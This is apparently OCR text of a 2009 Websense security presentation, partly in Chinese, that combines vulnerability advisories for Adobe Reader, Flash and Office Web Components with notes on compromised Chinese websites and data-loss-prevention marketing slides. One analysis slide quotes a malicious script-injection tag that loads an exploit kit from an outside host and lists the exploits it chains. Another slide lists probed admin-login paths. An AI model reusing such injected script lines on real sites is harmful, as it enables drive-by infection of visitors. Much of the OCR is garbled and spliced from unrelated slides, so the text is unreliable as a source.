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h‘ Solutions Products Support Communities Company Downloads Store

| Security bulletin

Security advisory for Adobe Reader, Acrobat and Flash Player
Release date: July 22, 2009

Last Updated: August 3, 2009
Vulnerability identifier: APSA09-03
CVE number: CVE-2009-1862
Platform: All Platforms

SUMMARY

A critical vulnerability exists in the current versions of Flash Player (v9.0.159.0 and v10.0.22.87) for Windows, Macintosh
Linux and Solaris operating systems, and the authplay dil component that ships with Adobe Reader and Acrobat v x for
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IAdobe Product Secur
(PSIRT)

t customers from vulnerabilities in Adobe software, Contact us at PSIRT@ad

Adobe Reader and Acrobat issue Search
By David Lenoe on Qctober 8, 2009 9:50 AM | Mo Comments

: T Seam_rﬂ
Adobe s aware of reports of a critical vulnerability in Adebe Reader and Acrobat 9.1.3 —

and earlier (CVE-2009-3459) on Windows, Macintosh and UND(. There are reports that
this issue is being exploited in the wild in limited targeted attacks; the exploit targets
Adobe Reader and Acrobat 9.1.3 on Windows,

About this Er

This page conta:
entry by David L

sdobe plans to resolve this issue as part of the upcoming adobe Reader and Acrobat
on October 8§, 20

guarterty security update, scheduled for release on October 13. Adobe Reader and

scrobat 9.1.3 customers with DEP enabled on 'Windows Vista will be protected from this Eotantis Pholy:

exploit. Disabling JavaScript also mitigates against this specific exploit, although a £.0 trpue was bhs
entry n this blos

variant that does not rely on JavaScript could be possible. In the meantime, Adobe is
also in contact with Antivirus and Security vendors regarding the issue and recommends
users keep their anti-virus definitions up to date.

We wizh to thank Chia-Ching Fang and the Information and Communication Security ,.,.,,5 in this m
Technology Center for their help with reporting and investigating this issue (CVE-2009- Vo ik st
3459). 3 Ince O ke

Brchives 1o fing

‘We will continue to provide updates on this issue via the Security Advisory section of
ihe Adobe web site, as well as the Adgbe PSIRT blog.

This posting is provided "AS 15" with no warranties and confers no rights.

Categones: Securily Buletine png Mvitories
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o fREERR...Oops!

Today's Internet Threat Level: GREEN ooy s
Handler on Duty: Daniel Wesemann ---

{andler's Diary: Scam Email;Cyber Security Awareness Month - Day 19 - ICMP:Backed «
lately ...

Jiary

Vulnerability in Microsoft Office Web Components Control Coul:

Allow Remote Code Execution
Published: 2009-07-13,
Last Updated: 2009-07-15 02:21:05 UTC
by Adnen de Beaupre (Version: 10)
0 comment(s) > di99s dog Eacebook Wwitter

Updatel: The vulnerability is being actively exploited on web sites. More to follow.

Microsoft has released an advisory related to an Office Web Components ActiveX vulnerability, it is availz
here. This vulnerability exists in the ActiveX control used by IE to display Excel spreadsheets. The CVE e
for the vulnerability is CVE-2009-1136. Microsoft mentions that they are aware of active exploits against
vulnerability, although we at the SANS Internet Storm Center haven't seen it used or mentioned in public
of yet (this has changed, we are seeing active exploit pages). Which may tend to indicate it has been us
in targeted rather than broad based attacks. At the moment there is no patch, there is a workaround, an
can be automated for anterprise deployment. The specific CLSIDs to set the killbit for are:
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http:/fwww. techtronics. com. cnfadmin/login
http:/fwww. techtronies. com. oenfguarlifadmin. asp
http:/fwww. techtronies. com. cnfuser. asp
http:/fwww. techtronics. com. en/managerflogin. asp
http: S fwww. techtronics. com. oo admin/index
http: S fwww. techtronies. com. eny’. . Fadmin
http: /fwww. techtronics. com. cn. . fadmin/manage. asp
http:/ www. techtronics. com co/logind
I'.'iF_‘»S'E__.'!_-?.' H-_i http: f fwwn. techtronics. com. cm'"bbsfadmim‘r:!.ogin

5 http:/fwww. techtronics. com co/member/login. asp
http: /fwww. techtronics. com. cnfadministrater/login. asp
http: /fwww. techtronics. com. cnf admin/manage/login. asp
http:/fwww. techtronics. com. cnfad login
http:/fwww. techtronics. com. cnfadmin_index. asp
http:/fwww. techtronics. com. cn/manage_indesx
http:/fwww. techtronics. com cnfadminlogin
http:/fwww. techtronies. com. enfadminedit
http:/fwww. techtronies. com. enf/login. asp
http: /fwww. techtronics. com. cnyadd_admin
http:/fwww. techtronies. com. enfzetup
http: S fwww. techtronics. com. enfarticlefadnin
http:/ www. techtronics. com. co/telaphone
http:/fwww. techtronics. com. cof/login/login
http:/fwww. techtronics. com cn/. . fadmindindex
http:/fwww. techtronics. com. cnfconn. asp
http:/fwww. techtronics. com cnf/denglufadnin. asp
http:/fwww. techtronics. com. co/manager/adnin. asp
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Chinaz.com compromised
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Wabsense Securty Labs™ ThrastSeskar ™ Nebwork has dscoversd that he speed iesting sie of chinaz com has been comoromised

Chiraz com s a wery lamous Web masier sie thal provides bschnical and resource downioading services in China. The daily raffic to the
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klj'i]i Site d’annonces gratuites #1 au Québec

dlertroniques mppartements 3 kbuer meusles animai aulos stwéhicules spls..

Sympatics) Diverti ¢ GET / HITRM.1 2
msn - rertis e HOST sympatico.msn. ca
WETRSemen User-Agent : Hnﬂg'lafdiu (compatible; MSIE 7.0: windows NT S.1; .NET CLR 2.0.50727)
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HTTP/1.1 302 Found
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= Malicious Web Sites = Bot Netweorks

x| | Top IP Block Offenders

) | Top Offenders (by ipblock)

95.143 8814

|38.114.196.0/23 736
66.7.192.0/19 655

My Watchlist
My Expiring Sigs
E Signatures By Day
- Signature File Builds
| DIMENOC:-=HOSTDIME - Pending Approval

T4.52.0.0/14 B34

THEPLANET-AS - ThePlanet.co glueshift~ 2
Sarvices. Inc.

213,168.64.0/18 555

HETCOLOGNE NETCOLOGHE AS

81.196.0.0/16 532

|[RDSMET RCS Bamp: ROS & |Web Reputation

172.167.128.0/22 312

158.108.0.0/16 421

. .:I..?In. 120.0.0/14 l :Ll-l'l

IP Block

By Date

96.30.0.0/18 a7

A819066

t
174.132.0.0/15 ‘Im
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File Classifications (May 26)

"ijan. Dropper. Wind2, 15%

Trojan. Generic. Wind2, 38% —.
#‘,,——Trojan..Dw.mhader.WmEE. 25%

[ Troisn. Backdoor WindZ, &%

Trojan. Spy . Winl2, 6% —/

Trojan, Startpage Wind2, 41;J Adware. Genenic. WindZ, 5
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o0 T ME MIE A wves @S 8 @A
Bai N EE Iy EE=TF |
M licious wabsite
YV AR T AR

Yyl TAM SREEHSFOEMEFIA FFWE 42§ BT BRWE
BlAFER S EW SWYY IFFEE LR T OOETE RER

I i< 200503 - 1~ /Mmmmml
o - . -- 1§ o I il

iﬁﬁ‘]ﬁh&il’.l Hﬁﬁf ‘"‘ﬁq!i' IEK'I‘E BINE BAE T SAEN SKRE
ERETWE LeET AET GEE
mﬁmmﬁ*eh 2009-3- 23
it dueyan ram EOAEENRE - You have chosen to

| TEEE :[Ei i e

- = yv.exe

. which is a: Application

from: hitp://eeteslill .o

Would you ke to save this file?

RITEE

Opening yy.exe |
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Attack Profile —

% AAAEN B I 493508 F AT JsIIE

<script src=http://fly.in/j.js></script>

3 vegm htm

5 jatfa.com dada/index. htm

—_— js.tongji.linezig.coni... .
S js.]s

> vegm htm
vcfl . htm -> Flash Player exploit
vcfll. htm
of . htm ->of .htm-> of.js -> OXC exploit (CVE-2009-1136)
z. htm ->100g0.jpg -> go.jpg, gol.jpg -> MS Video expl oit(CVE-2008-0015)
vcvod. htm -> Quod exploit
vexxz. htm
vcr. htm -> Real Pl ayer exploit

ﬁik%l m &ﬂ&%%zﬁ EELKX
 f# F E R P?a. % #k Bp B4R 38



http://f1y.in/j.js></script>

™

-

2

-‘l

4 2 PP P websense

—_—

“ 20094 T4 HL2008 % [ HIFIE » BAGTHHETS 1 225%.
" T19% PR R S R f R

“ HE (17.2%) 7 BHAE ﬁ%f,{; SRR ST =T B N4
BRI gl %*u REEE: liﬂﬂﬂfﬁFﬁﬁF"(Sl 4%).,

" 35% lél’JWeb“Jsttf,’ﬂwur Rl AV (O

Web &2+ 7 Ta FHARA
“ SE e ZPEF R R

“ps e N7 ﬁ%ﬂﬁf«?ﬂﬁaﬁum@

ﬁURL

“ 90.4%IULt BT by




+ welksense

" iz 2 i
— AR PSR AR e R
—ifwﬁﬁﬁﬁﬁ%g

CSHRAVFE R S 2
¢ TS
. S ERES IR
SRR R
© BN
o PRt SIAVCCR] o BT RO IS B S S 2
— PSR AR N et 1 S 2 O

(B2

_1g\




welbsense

ESSENTIAL INFORMATION PROTECTION™

P S [




< skl o) -

\

VR m fRer

welksense

ESSENTIAL INFORMATION PROTECTION™

P

e ) IR 5N
f IR G A R R A0 ﬁag# O FRLE RN AR
e Bi‘ » FE e fF /nhﬁi% }POET
" OF IR R ARG R _
— Delays in generating audit reports and = el Googk
compliance requirements o e

— Difficulty uncovering broken or bad business

processes
B e S A
#% B B §_ 'PE] 3 LR P

— Unknown types of data

— Uncertain risks for each communication
channels

ORI R E AR
— Cannot enforce who can send what

— Possible damage to company brand and
reputation
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Almost 50% of all IT managers surveyed admit
their users try to bypass security policies.

(Web 2.0 @ Work, International Survey)
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Channels necessary for the operation of the business

Channel Business?

E-Malil (SMTP) U
Web (HTTP) U
Printer U “f you have to leave it
USB key (i open, it’s a business
channel”
FTP ?
Instant Messenger a
P2P File Sharing g



Non-Business channels are easier to deal with.

Channel Business?

welbsense
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A
N

*Firewall
*Other




- welbsense
Business Channels st o R

o
.

Business channels cannot be blocked and must have
compensating controls

¥

Channel Business?

FTP ?
Instant Messenger U
P2P File Sharing a

By looking at the data moving across those channels



So, what do we do? weksense

FE 3L i An B enid 3 i
P2P ? Skype ? IM ?
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o~ | Copy/Pastef#
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Content Aware ' p 7 g %

Partial Document Match Full-text Extraction Pattern Matching

FitA & WERISAFZE B ot 3

Exact File Match Categorization Database Fingerprinting
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PreciselD %_4r i@ :& (% e3?

0x59A06
01011100 0xB6751 OX66A1A
— —_ 11010011 0xB61C1 0x1678A
B— 00001011 0x37CB2 0x461BD
— 00 100100
0x5BD41 Ox6678A
— 1000111 Ox190C1
01110101 X 0x4D181
Extract 01101011 0x93005 0xB678A
0110011 Ox590A9 0x9678A
_ 0111101 0xA0001 T OxB6751
0xB61C1
pRiE3 Heo &g BIrsrsh¥ - SICB2
. . L o -
A4 E 8 S i 4 &1 D OxoBDal
2 0x190C1 =
5 .9%93005
0x590A9
= Eﬁ fﬁ 7@] - 0xA0001
e —— 01011100 shRRRRRERRY
= Ox5BD41 = . 3
— 110100110 : - Rl = F AT C
i — -:> 000101100 -:>: Ox190C1 3 A
Extract | —— 100100 s Ox3300s
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N100145XXX (02)2325-58XX  0912-3456XX 1951/5/23
X100058 XXX (02)2266-55XX  0987-6543XX 1923/9/15
L200552XXX (02)2325-58XX  0912-3456XX 1953/5/11
N101290XXX (02)2266-55XX  0987-6543XX 1954/3/22
L101832XXX (02)2325-58XX  0912-3456XX 1955/1/25 1
L121942XXX (02)2266-55XX  0987-6543XX 1962/12/2
B120231XXX (02)2325-58XX  0912-3456XX 1961/6/20 Y
L20054 7 XXX (02)2266-55XX  0987-6543XX 1938/12/23
B120897XXX (02)2325-58XX  0912-3456XX 1965/10/9
B200002XXX (02)2266-55XX  0987-6543XX 1932/2/1
B200720XXX (02)2325-58XX  0912-3456XX 1927/7/16
L100580XXX (02)2266-55XX  0987-6543XX 1943/9/23

\ L 200473XXX"J (02)2325-58XX  0912-3456XX 1950/4/12
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How the customer explained it

Howe the Project Leader
understood it

Howe the Analyst designed it

Howe the Programmer wrote it

Howe the Business Consuliant
described it

How the project was
documentsed

What operaticns installed

How the customer was billed

How it was suppaorted

What the customer really
needad
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Confidential Data Known locations
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Q 0x5BD41
. . 0x190C1
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- Fingerprints
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Customer -
data m
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File servers
Sarbox
HIPAA E
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''''''''' Databases
PCI DSS
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GLBA, EU DPA

Throughout the enterprise

P H3DLPE % ?

fatr | ek 3K %

Status, Inventory

L1 5

User Desktops Compliance

all

IT Risk
Management
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Assign to data owners

=S

File, Record Removal

=

Encryption

]

Tombstone

Cfe Cde Formal ew

Help

we got this file.
contact us 1Ff you
want to see it
agatin.|

Ransom Notes

> Chmod +r —w -X

Change file permissions
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